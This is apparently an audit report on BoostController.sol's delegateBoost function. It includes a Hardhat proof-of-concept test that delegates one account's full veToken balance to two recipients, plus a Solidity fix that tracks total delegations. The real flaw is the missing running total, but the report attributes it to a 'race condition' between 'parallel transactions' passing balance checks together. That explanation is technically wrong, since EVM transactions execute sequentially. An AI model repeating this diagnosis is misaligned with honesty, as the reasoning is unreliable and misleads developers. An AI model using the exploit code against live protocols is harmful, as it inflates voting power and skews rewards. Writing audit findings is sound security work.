Summary
A critical race condition vulnerability exists in the BoostController.sol
boost delegation mechanism, allowing users to perform multiple boost delegations simultaneously before balance checks can prevent double-spending of their voting power.
Vulnerability Details
The delegateBoost
function performs balance verification and delegation state updates in separate stages:
function delegateBoost(
address to,
uint256 amount,
uint256 duration
) external override nonReentrant {
if (paused()) revert EmergencyPaused();
if (to == address(0)) revert InvalidPool();
if (amount == 0) revert InvalidBoostAmount();
if (duration < MIN_DELEGATION_DURATION || duration > MAX_DELEGATION_DURATION)
revert InvalidDelegationDuration();
uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
if (userBalance < amount) revert InsufficientVeBalance();
UserBoost storage delegation = userBoosts[msg.sender][to];
if (delegation.amount > 0) revert BoostAlreadyDelegated();
delegation.amount = amount;
delegation.expiry = block.timestamp + duration;
delegation.delegatedTo = to;
delegation.lastUpdateTime = block.timestamp;
emit BoostDelegated(msg.sender, to, amount, duration);
}
Critical issues:
Balance checks happen in separate transactions
No mechanism locks the total user balance
Concurrent transactions can use the same balance before state updates
The nonReentrant modifier does not prevent parallel transactions
Impact
Users can delegate more boost than their actual veToken balance
Boost calculations become inaccurate across all delegations
Reward distribution system becomes unbalanced
Economic exploitation possible through inflated voting power
Proof of Concept
This POC demonstrates how an attacker can exploit the race condition in the boost delegation system by executing parallel transactions. Here's what the attack does:
-
Setup Phase:
We deploy a mock veToken contract and the BoostController
Mint 100 veTokens to the attacker's address
Set up two recipient addresses for the double-delegation
-
Attack Execution:
The attacker creates two identical delegation transactions
Each transaction attempts to delegate the full balance (100 tokens)
Transactions are submitted in parallel within the same block
Both pass the balance check since they see the original balance
-
Verification:
We verify both delegations succeeded
Show that total delegated amount (200) exceeds actual balance (100)
Prove the race condition allowed double-spending of boost power
-
Expected Results:
Both delegations will be recorded as valid
Total delegated amount will be 2x the actual balance
Protocol's boost calculations are compromised
Now here's the complete POC code:
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { mine, time } = require("@nomicfoundation/hardhat-network-helpers");
describe("BoostController Double-Delegation Attack", function() {
let boostController, veToken;
let deployer, attacker, recipient1, recipient2;
const INITIAL_BALANCE = ethers.utils.parseEther("100");
const WEEK = 7 * 24 * 60 * 60;
before(async function() {
[deployer, attacker, recipient1, recipient2] = await ethers.getSigners();
const VeToken = await ethers.getContractFactory("MockVeToken");
veToken = await VeToken.deploy("Vote Escrowed Token", "veToken");
await veToken.deployed();
const BoostController = await ethers.getContractFactory("BoostController");
boostController = await BoostController.deploy(veToken.address);
await boostController.deployed();
await veToken.connect(deployer).mint(attacker.address, INITIAL_BALANCE);
});
it("Should demonstrate double-delegation exploit", async function() {
console.log("\nStarting Double-Delegation Attack Demo");
console.log("--------------------------------------");
console.log(`Attacker veToken Balance: ${ethers.utils.formatEther(INITIAL_BALANCE)}`);
const delegationAmount = INITIAL_BALANCE;
const duration = WEEK;
const tx1 = boostController.connect(attacker).delegateBoost(
recipient1.address,
delegationAmount,
duration
);
const tx2 = boostController.connect(attacker).delegateBoost(
recipient2.address,
delegationAmount,
duration
);
console.log("\nExecuting parallel delegations...");
await Promise.all([tx1, tx2]);
const delegation1 = await boostController.getUserBoost(attacker.address, recipient1.address);
const delegation2 = await boostController.getUserBoost(attacker.address, recipient2.address);
expect(delegation1.amount).to.equal(INITIAL_BALANCE);
expect(delegation2.amount).to.equal(INITIAL_BALANCE);
const totalDelegated = delegation1.amount.add(delegation2.amount);
expect(totalDelegated).to.be.gt(INITIAL_BALANCE);
console.log("\nExploit successful! Double-delegation achieved.");
});
});
Tools Used
Recommendation
contract BoostController {
mapping(address => uint256) public totalDelegated;
function delegateBoost(
address to,
uint256 amount,
uint256 duration
) external override nonReentrant {
if (paused()) revert EmergencyPaused();
if (to == address(0)) revert InvalidPool();
if (amount == 0) revert InvalidBoostAmount();
if (duration < MIN_DELEGATION_DURATION || duration > MAX_DELEGATION_DURATION)
revert InvalidDelegationDuration();
uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
uint256 newTotalDelegated = totalDelegated[msg.sender] + amount;
if (newTotalDelegated > userBalance) revert InsufficientVeBalance();
UserBoost storage delegation = userBoosts[msg.sender][to];
if (delegation.amount > 0) revert BoostAlreadyDelegated();
totalDelegated[msg.sender] = newTotalDelegated;
delegation.amount = amount;
delegation.expiry = block.timestamp + duration;
delegation.delegatedTo = to;
delegation.lastUpdateTime = block.timestamp;
emit BoostDelegated(msg.sender, to, amount, duration);
}
function removeDelegation(address from) external {
UserBoost storage delegation = userBoosts[msg.sender][from];
if (delegation.amount == 0) revert NoDelegationExists();
totalDelegated[msg.sender] -= delegation.amount;
delete userBoosts[msg.sender][from];
emit DelegationRemoved(msg.sender, from, delegation.amount);
}
}
Risk Breakdown
-
Severity: HIGH
-
Likelihood: HIGH
Easy to execute
No special tools needed
Clear economic incentive
-
Impact: CRITICAL